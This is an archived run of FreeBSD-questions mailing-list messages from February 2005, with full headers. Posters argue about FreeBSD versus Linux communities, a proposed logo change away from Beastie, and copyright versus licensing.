people coming to Linux because they 'hate' MS. Sure they don't know gcc from
ppc but I don't think it is fair to call them the 'community', rather a small
subset. Do you think these people are writing any software? Are they
designing programming interfaces? Do they have a damn thing to do with the
development of Linux or any of its supporting software? Hell no. They are
just users clogging up the message boards and mailing lists with stupid
questions. "Human Interface"? Am I missing something? Can you please tell me
where the much superior FreeBSD human interface can be downloaded? In the
console they are pretty much the same keystroke for keystroke, and on the
desktop it is all the same software...

I run FreeBSD and Linux, and I love them both. I am trying to point out that
when you slam Linux developers with pettiness and name calling that you are
no better than all the lusers slamming MS, and thinking they're leet because
they installed Fedora? I have noticed a lot of this on FreeBSD lists, and I
think it is counterproductive because it is unprofessional and in the end
more people using Linux means more people running free software which
benefits _all_ of us...and besides, it is offensive to people like me that
just like playing with 'nix boxes and run both.

Why can't you just run your FreeBSD and feel superior, silently?

> Look closely at the BSD community and you'll find those who are working
> at creating a better tool to serv e their needs. Much debate about
> exactly what constitutes "better" so there is also quite a bit of
> experimenting. What you won't find is Microsoft as the yardstick by
> which BSD's measure.
>
> --
> David Kelly N4HHE, dkelly@HiWAAY.net
> ========================================================================
> Whom computers would destroy, they must first drive mad.
>
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Make My Way your home on the Web - http://www.myway.com From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 21:07:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B4B7C16A4CE for ; Sat, 12 Feb 2005 21:07:32 +0000 (GMT) Received: from mail.chrononomicon.com (chrononomicon.com [216.37.143.27]) by mx1.FreeBSD.org (Postfix) with ESMTP id 584A443D1D for ; Sat, 12 Feb 2005 21:07:32 +0000 (GMT) (envelope-from bsilver@chrononomicon.com) Received: from [192.168.0.42] (unknown [192.168.0.42]) by mail.chrononomicon.com (Postfix) with ESMTP id 8D95134A104 for ; Sat, 12 Feb 2005 16:07:31 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v619.2) In-Reply-To: <319609464.20050212220100@wanadoo.fr> References: <20050212120124.19AAF16A4CF@hub.freebsd.org> <319609464.20050212220100@wanadoo.fr> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Bart Silverstrim Date: Sat, 12 Feb 2005 16:07:31 -0500 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619.2) Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 21:07:32 -0000 On Feb 12, 2005, at 4:01 PM, Anthony Atkielski wrote: > Vonleigh Simmons writes: > >> Rat Bastards at FreeBSD that don't break into the companies, steal the >> code, and port their apps. > > I don't understand this comment. > >>> I can go months without rebooting. My NT machine has gone for >>> nearly a >>> year without a reboot. >> >> *looks up your IP* > > My IP won't tell you what uptime I have on my systems, although > Netcraft > can tell you how long the production server has been running (but I can > save you the trouble: I booted it 26 hours and 50 minutes ago, because > I > had thought that I had soft updates turned off). Um...methinks he was referring to finding your IP to crack your system since you just announced you don't update it... From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 21:08:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C8EF316A4CE; Sat, 12 Feb 2005 21:08:56 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9D77043D3F; Sat, 12 Feb 2005 21:08:56 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1D04Vc-000P3O-9I; Sat, 12 Feb 2005 14:08:56 -0700 In-Reply-To: <0892bf6a3cf2d8092e296157bbcb6148@czv.com> References: <420E5604.9040401@401.cx> <8c411210ef532a4d2d5fd69636632809@czv.com> <420E62DB.5050006@401.cx> <0892bf6a3cf2d8092e296157bbcb6148@czv.com> Mime-Version: 1.0 (Apple Message framework v619) Message-Id: <4C6EA789-7D3A-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Sat, 12 Feb 2005 14:08:52 -0700 To: Chris Zumbrunn X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) cc: freebsd-advocacy@freebsd.org cc: freebsd-questions@freebsd.org cc: 'freebsd-questions@freebsd.org' Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 21:08:56 -0000 On Feb 12, 2005, at 2:00 PM, Chris Zumbrunn wrote: > > On Feb 12, 2005, at 9:11 PM, Roger 'Rocky' Vetterberg wrote: > >> Chris Zumbrunn wrote: >> [snip] >>> http://top.ch/sitedata/freebsd/beastie.gif >>> >> [snip] >> Maybe just the FreeBSD part and a couple of stylized horns over it, >> but that would mean Beastie would not be clearly visible and I dont >> know if I dare to suggest that. ;) > > I agree something like this... > > http://top.ch/sitedata/freebsd/freehorns.gif > Looks like a stereo-typed viking :-) Chad From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 21:09:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CFDA416A4CE for ; Sat, 12 Feb 2005 21:09:26 +0000 (GMT) Received: from pi.codefab.com (pi.codefab.com [199.103.21.227]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8BE1F43D3F for ; Sat, 12 Feb 2005 21:09:26 +0000 (GMT) (envelope-from cswiger@mac.com) Received: from localhost (localhost [127.0.0.1]) by pi.codefab.com (Postfix) with ESMTP id BE54B5F33; Sat, 12 Feb 2005 16:09:25 -0500 (EST) Received: from pi.codefab.com ([127.0.0.1]) by localhost (pi.codefab.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 09284-09; Sat, 12 Feb 2005 16:09:25 -0500 (EST) Received: from [192.168.1.3] (pool-68-161-50-112.ny325.east.verizon.net [68.161.50.112]) by pi.codefab.com (Postfix) with ESMTP id E042D5F31; Sat, 12 Feb 2005 16:09:24 -0500 (EST) Message-ID: <420E7082.9010309@mac.com> Date: Sat, 12 Feb 2005 16:09:22 -0500 From: Chuck Swiger Organization: The Courts of Chaos User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041217 X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <86vf8xvins.fsf@xps.des.no> <1002830599.20050212213922@wanadoo.fr> In-Reply-To: <1002830599.20050212213922@wanadoo.fr> X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Virus-Scanned: amavisd-new at codefab.com cc: atkielski.anthony@wanadoo.fr Subject: Re: Why in the world you should have a vote: was RE: Please don't change Beastie to another crap logo suchas NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 21:09:27 -0000 Anthony Atkielski wrote: > Dag-Erling Smørgrav writes: >> You need to understand the difference between copyright and license, >> and stop looking for black helicopters. > > There isn't any difference. Without copyrights, there are no licenses; > without licenses, there are no copyrights. A = "copyright", B = "license". A != B. If this still does not make it clear, go look up the words or talk to somebody who knows the difference and is willing to explain it to you. Until then, your comments resemble someone who is color-blind explaining that there is no difference between red and green to people who possess normal sight. For all of the sound and fury of these threads, I don't see any code being written, any PRs being filed, or any technical questions being asked. Please use chat or advocacy. -- -Chuck PS: I want a pony, too! From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 21:10:49 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6B70416A4CE for ; Sat, 12 Feb 2005 21:10:49 +0000 (GMT) Received: from mail.chrononomicon.com (chrononomicon.com [216.37.143.27]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1DAD743D39 for ; Sat, 12 Feb 2005 21:10:49 +0000 (GMT) (envelope-from bsilver@chrononomicon.com) Received: from [192.168.0.42] (unknown [192.168.0.42]) by mail.chrononomicon.com (Postfix) with ESMTP id 8F26C34A14F for ; Sat, 12 Feb 2005 16:10:48 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v619.2) In-Reply-To: <546604224.20050212220510@wanadoo.fr> References: <1935025570.20050211232605@wanadoo.fr> <823306184.20050212113045@wanadoo.fr> <3689589ceb0c4136e92d14c65c5df940@chrononomicon.com> <546604224.20050212220510@wanadoo.fr> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <5df61a9fd90e3f232682f5bf3251b9ae@chrononomicon.com> Content-Transfer-Encoding: 7bit From: Bart Silverstrim Date: Sat, 12 Feb 2005 16:10:48 -0500 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619.2) Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 21:10:49 -0000 On Feb 12, 2005, at 4:05 PM, Anthony Atkielski wrote: > Bart Silverstrim writes: > >> I never quite liked these arguments. The question to ask is, "What >> can >> I use for graphics editing on platform X? What can I use for desktop >> publishing on platform Y?". > > Not in this case, because many of these applications must produce files > that I can share with others, and/or they must work with legacy files > that I've collected myself, and/or they must read files provided to me > by others. So equivalent functionality isn't good enough: it has to be > the same application. Thank you for supporting vendor lock-in. At any rate, what you're essentially saying is that you want to run a particular application so no matter what happens this is what you must have and use. Do don't even bother asking people who will suggest alternatives, because it's not what you want to hear. Use what you're going to use. *shrug* From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 21:11:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 903E816A4CE; Sat, 12 Feb 2005 21:11:03 +0000 (GMT) Received: from rambo.401.cx (rambo.401.cx [80.65.205.166]) by mx1.FreeBSD.org (Postfix) with ESMTP id CF63143D39; Sat, 12 Feb 2005 21:11:02 +0000 (GMT) (envelope-from listsub@401.cx) Received: from [127.0.0.1] (rocky [192.168.200.2]) by rambo.401.cx (8.13.1/8.13.1) with ESMTP id j1CLB0rx038745; Sat, 12 Feb 2005 22:11:00 +0100 (CET) (envelope-from listsub@401.cx) Message-ID: <420E7141.4020701@401.cx> Date: Sat, 12 Feb 2005 22:12:33 +0100 From: "Roger 'Rocky' Vetterberg" User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Chris Zumbrunn References: <420E5604.9040401@401.cx> <8c411210ef532a4d2d5fd69636632809@czv.com> <420E62DB.5050006@401.cx> <0892bf6a3cf2d8092e296157bbcb6148@czv.com> In-Reply-To: <0892bf6a3cf2d8092e296157bbcb6148@czv.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Antivirus: avast! (VPS 0506-1, 2005-02-11), Outbound message X-Antivirus-Status: Clean cc: freebsd-advocacy@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 21:11:03 -0000 Chris Zumbrunn wrote: > > On Feb 12, 2005, at 9:11 PM, Roger 'Rocky' Vetterberg wrote: >> Maybe just the FreeBSD part and a couple of stylized horns over it, >> but that would mean Beastie would not be clearly visible and I dont >> know if I dare to suggest that. ;) > > > I agree something like this... > > http://top.ch/sitedata/freebsd/freehorns.gif > > ...would be possible as well. > > But personally, I think FreeBSD should celebrate some of its > idiosyncrasies - specially the ones that are representative of its BSD > UNIX tradition. To professionalize FreeBSD we would have to change its > name before we would "have to" drop Beastie as its logo. It's probably > even true that FreeBSD is more associated and recognized by its Beastie > logo than by its name - and I'm not kidding. > Totally agree, and thats why I suggest keeping Beastie as a mascot. Look at linux, everyone knows the linux penguin, but that doesnt stop RedHat, Caldera, Debian etc from having professional looking logos. And I think most of us agree that the reason RedHat is more accepted then FreeBSD in the commercial world is not due to its superior quality, stability or heritage, right? Maybe their more professional looking image has something to do with it? ;) -- R From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 21:17:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E310216A4CE for ; Sat, 12 Feb 2005 21:17:32 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9AC3E43D46 for ; Sat, 12 Feb 2005 21:17:32 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0902.wanadoo.fr (SMTP Server) with ESMTP id C6DA01C001ED for ; Sat, 12 Feb 2005 22:17:31 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0902.wanadoo.fr (SMTP Server) with ESMTP id AE39E1C001E7 for ; Sat, 12 Feb 2005 22:17:31 +0100 (CET) X-ME-UUID: 20050212211731713.AE39E1C001E7@mwinf0902.wanadoo.fr Date: Sat, 12 Feb 2005 22:17:18 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <354169147.20050212221718@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <20050212120124.19AAF16A4CF@hub.freebsd.org> <319609464.20050212220100@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 21:17:33 -0000 Bart Silverstrim writes: > Um...methinks he was referring to finding your IP to crack your system > since you just announced you don't update it... I've made a note of his premeditation. However, the system in question is not accessible from the Net. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 21:19:23 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0DD0B16A4CE for ; Sat, 12 Feb 2005 21:19:23 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id BF32E43D2F for ; Sat, 12 Feb 2005 21:19:22 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0907.wanadoo.fr (SMTP Server) with ESMTP id 047F71C00164 for ; Sat, 12 Feb 2005 22:19:22 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0907.wanadoo.fr (SMTP Server) with ESMTP id E035C1C00163 for ; Sat, 12 Feb 2005 22:19:21 +0100 (CET) X-ME-UUID: 20050212211921918.E035C1C00163@mwinf0907.wanadoo.fr Date: Sat, 12 Feb 2005 22:19:21 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1402687951.20050212221921@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <420E7082.9010309@mac.com> References: <86vf8xvins.fsf@xps.des.no> <1002830599.20050212213922@wanadoo.fr> <420E7082.9010309@mac.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Why in the world you should have a vote: was RE: Please don't change Beastie to another crap logo suchas NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 21:19:23 -0000 Chuck Swiger writes: > A = "copyright", B = "license". A != B. A license is limited permission to use copyrighted material. A copyright is the right to restrict the use of material without a license. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 21:20:20 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D9EF316A4CE for ; Sat, 12 Feb 2005 21:20:20 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8FBB643D48 for ; Sat, 12 Feb 2005 21:20:20 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0904.wanadoo.fr (SMTP Server) with ESMTP id C027024001B2 for ; Sat, 12 Feb 2005 22:20:19 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0904.wanadoo.fr (SMTP Server) with ESMTP id A3261240019C for ; Sat, 12 Feb 2005 22:20:19 +0100 (CET) X-ME-UUID: 20050212212019668.A3261240019C@mwinf0904.wanadoo.fr Date: Sat, 12 Feb 2005 22:20:19 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1309842218.20050212222019@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <5df61a9fd90e3f232682f5bf3251b9ae@chrononomicon.com> References: <1935025570.20050211232605@wanadoo.fr> <823306184.20050212113045@wanadoo.fr> <3689589ceb0c4136e92d14c65c5df940@chrononomicon.com> <546604224.20050212220510@wanadoo.fr> <5df61a9fd90e3f232682f5bf3251b9ae@chrononomicon.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 21:20:21 -0000 Bart Silverstrim writes: > Thank you for supporting vendor lock-in. Recognizing, not supporting. > At any rate, what you're essentially saying is that you want to run a > particular application so no matter what happens this is what you must > have and use. Yes. > Do don't even bother asking people who will suggest alternatives, > because it's not what you want to hear. It's not a matter of what I want or don't want. I don't have any choice. That's business. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 21:51:44 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0A43A16A4CE for ; Sat, 12 Feb 2005 21:51:44 +0000 (GMT) Received: from smtp.des.no (flood.des.no [217.116.83.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5238043D45 for ; Sat, 12 Feb 2005 21:51:43 +0000 (GMT) (envelope-from des@des.no) Received: by smtp.des.no (Pony Express, from userid 666) id B4457530D; Sat, 12 Feb 2005 22:51:41 +0100 (CET) Received: from xps.des.no (des.no [80.203.228.37]) by smtp.des.no (Pony Express) with ESMTP id DF8C05308 for ; Sat, 12 Feb 2005 22:51:11 +0100 (CET) Received: by xps.des.no (Postfix, from userid 1001) id 9F4F933C1B; Sat, 12 Feb 2005 22:51:11 +0100 (CET) To: freebsd-questions@freebsd.org References: <163678746.20050212124602@wanadoo.fr> <1198432873.20050212130307@wanadoo.fr> <86is4xvhdk.fsf@xps.des.no> <1965285046.20050212214343@wanadoo.fr> From: des@des.no (=?iso-8859-1?q?Dag-Erling_Sm=F8rgrav?=) Date: Sat, 12 Feb 2005 22:51:11 +0100 In-Reply-To: <1965285046.20050212214343@wanadoo.fr> (Anthony Atkielski's message of "Sat, 12 Feb 2005 21:43:43 +0100") Message-ID: <868y5tv44w.fsf@xps.des.no> User-Agent: Gnus/5.110002 (No Gnus v0.2) Emacs/21.3 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on flood.des.no X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=AWL,FORGED_RCVD_HELO, PLING_PLING autolearn=disabled version=3.0.1 Subject: Re: Why in the world you should have a vote: was RE: Please don'tchange Beastie to another crap logo suchas NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 21:51:44 -0000 Anthony Atkielski writes: > Dag-Erling Sm=F8rgrav writes: > > No. Existing copies would still be distributable and derivable under > > the original license terms. > What constitutes an "existing copy" in a world of downloads? I think you know the answer to that question perfectly well. I'm done wasting my time on you. DES --=20 Dag-Erling Sm=F8rgrav - des@des.no From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 21:55:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7DA1316A4CE for ; Sat, 12 Feb 2005 21:55:04 +0000 (GMT) Received: from rambo.401.cx (rambo.401.cx [80.65.205.166]) by mx1.FreeBSD.org (Postfix) with ESMTP id BD55C43D1D for ; Sat, 12 Feb 2005 21:55:02 +0000 (GMT) (envelope-from listsub@401.cx) Received: from [127.0.0.1] (rocky [192.168.200.2]) by rambo.401.cx (8.13.1/8.13.1) with ESMTP id j1CLsx98039322 for ; Sat, 12 Feb 2005 22:55:00 +0100 (CET) (envelope-from listsub@401.cx) Message-ID: <420E7B91.6070800@401.cx> Date: Sat, 12 Feb 2005 22:56:33 +0100 From: "Roger 'Rocky' Vetterberg" User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <163678746.20050212124602@wanadoo.fr> <1198432873.20050212130307@wanadoo.fr> <86is4xvhdk.fsf@xps.des.no> <1965285046.20050212214343@wanadoo.fr> In-Reply-To: <1965285046.20050212214343@wanadoo.fr> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Antivirus: avast! (VPS 0506-1, 2005-02-11), Outbound message X-Antivirus-Status: Clean Subject: Re: Why in the world you should have a vote: was RE: Pleasedon'tchange Beastie to another crap logo suchas NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 21:55:04 -0000 Anthony Atkielski wrote: > Dag-Erling Smørgrav writes: > >>No. Existing copies would still be distributable and derivable under >>the original license terms. > > What constitutes an "existing copy" in a world of downloads? > A downloaded copy that still exists? ;) -- R From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 21:59:52 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4B24216A4CE for ; Sat, 12 Feb 2005 21:59:52 +0000 (GMT) Received: from badcomputer.org (S01060040f4399d90.ok.shawcable.net [24.66.229.115]) by mx1.FreeBSD.org (Postfix) with ESMTP id 452C243D45 for ; Sat, 12 Feb 2005 21:59:51 +0000 (GMT) (envelope-from bulliver@badcomputer.org) Received: from [192.168.0.102] (helo=virgo.badcomputer.org) by badcomputer.org with esmtp (Exim 2.45) id 1D05J0-0008Be-DW for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 13:59:58 -0800 From: darren kirby Organization: Badcomputer Org. To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 13:59:48 -0800 User-Agent: KMail/1.7.2 References: <200502112313.28082.hindrich@worldchat.com> <200502121141.07311.bulliver@badcomputer.org> <1443267912.20050212215132@wanadoo.fr> In-Reply-To: <1443267912.20050212215132@wanadoo.fr> MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart2423933.OVNxu5d0jh"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200502121359.53523.bulliver@badcomputer.org> Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: bulliver@badcomputer.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 21:59:52 -0000 --nextPart2423933.OVNxu5d0jh Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline quoth the Anthony Atkielski: > darren kirby writes: > > I think your interpretation here is a tad glib. > > I think it's right on the money. The entire Linux movement is fueled by > hatred for Microsoft. And the ultimate goal of the Linux movement is to > build an OS that walks, talks, and quacks like Microsoft Windows, but > doesn't come from Redmond. That is just not right. Perhaps for Redhat, SuSe et al this may be the case= ,=20 but what do you expect? MS is their primary (only?) competition.=20 There are a million different reasons to run Linux, and a million different= =20 types of people that run it. I am part of the Linux community, or movement,= =20 or whatever you want to call it, and I sure as hell do not need people=20 presuming to tell me my motives for running it. > To me, that seems like a waste of time and energy. To me, massive generalizations about the 'communities' of free *nix users, = and=20 all the bickering and infighting therein is a waste of time. Case in point:= =20 this email :) > The idea in itself of building an alternative desktop operating system > is fine. But why does it have to look like Windows? The more closely a > system approaches the look and feel of Windows, the less reason there is > to use that system instead of Windows. Now you seem to be implying that the only difference between any two operat= ing=20 systems is what the GUI looks like.=20 > And why use UNIX as a basis for a desktop GUI? Just because it's there? > I know Apple was forced to resort to that, but that doesn't make it a > good idea. So what's your solution, feed the Redmond beast? No thanks. > > Do you think these people are writing any software? Are they designing > > programming interfaces? Do they have a damn thing to do with the > > development of Linux or any of its supporting software? > > Yes, a lot of them do. In my experience, the developers are the quiet ones that speak with their=20 software. It's the lusers that scream "Linux is teh roxor" everywhere you g= o.=20 I am in full-on agreement that this particular group needs to grow up. Again, I am not trolling, and I am not a Linux zealot. I run FreeBSD, Linux= ,=20 Solaris and any other free unix I can get my hand on. Why? Because I think= =20 they're cool. All of them. Including Linux. Peace, =2Dd =2D-=20 darren kirby :: Part of the problem since 1976 :: http://badcomputer.org "...the number of UNIX installations has grown to 10, with more expected..." =2D Dennis Ritchie and Ken Thompson, June 1972 --nextPart2423933.OVNxu5d0jh Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) iD8DBQBCDnxZwPD5Cr/3CJgRAhUeAJ9SDDm6AqKL/qVP6Fx6GhlRe58i+QCfTD0d 0aIt27KThMn6w3Bn+K0ZWuo= =6DWb -----END PGP SIGNATURE----- --nextPart2423933.OVNxu5d0jh-- From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 22:17:23 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 85FA016A4CE for ; Sat, 12 Feb 2005 22:17:23 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id DB92D43D3F for ; Sat, 12 Feb 2005 22:17:22 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j1CMHJGf012502 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 12 Feb 2005 14:17:19 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j1CMHJ8Q012500; Sat, 12 Feb 2005 14:17:19 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Sat, 12 Feb 2005 